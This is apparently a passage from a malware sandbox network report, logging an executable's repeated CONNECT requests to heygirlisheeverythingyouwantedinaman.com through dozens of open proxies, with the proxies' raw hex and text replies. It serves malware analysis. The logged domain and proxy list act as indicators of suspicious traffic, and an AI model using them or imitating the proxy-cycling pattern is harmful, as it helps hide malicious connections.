Mar 11, 2024 15:21:04.235853910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.849827051 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.9	52080	218.252.244.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.238375902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.9	52151	98.181.137.80	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.238993883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.9	52215	104.16.105.182	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.242501020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.396945000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.9	52093	47.243.92.199	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.242698908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.903424025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:40.187643051 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.9	52209	162.159.242.104	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.242966890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.403830051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.9	52078	213.136.79.177	64556	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.244852066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.903454065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887973070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879518986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.604018927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388134956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200329065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.497127056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.090656996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.9	52227	104.21.31.189	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.250030994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.404238939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.9	51538	117.160.250.163	9990	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.252877951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.071161985 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.9	52029	203.171.19.99	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.255660057 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:04.621212006 CET	130	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Content-Length: 0 Date: Tue, 12 Mar 2024 04:03:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.9	52212	184.72.36.89	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.257865906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.429424047 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:04 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.9	52203	174.75.211.222	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.316287994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.9	52075	182.61.38.114	82	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.316644907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.669331074 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.9	52175	147.75.92.251	10010	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.317030907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.592375040 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.9	52102	49.228.131.169	5000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.318886995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.9	52148	193.239.56.84	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.320589066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.9	52139	211.222.252.187	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.322932005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.9	52243	157.185.160.74	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.325448990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.9	52244	23.152.40.14	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.329474926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.9	52167	84.22.45.175	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.332674980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.9	52251	3.90.100.12	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.335187912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.553095102 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.9	52214	98.188.47.150	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.342540979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.9	52069	61.110.5.2	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.347877026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.214183092 CET	114	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 00 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.9	52222	98.162.25.7	31653	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.348279953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.9	52177	103.83.232.122	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.376944065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
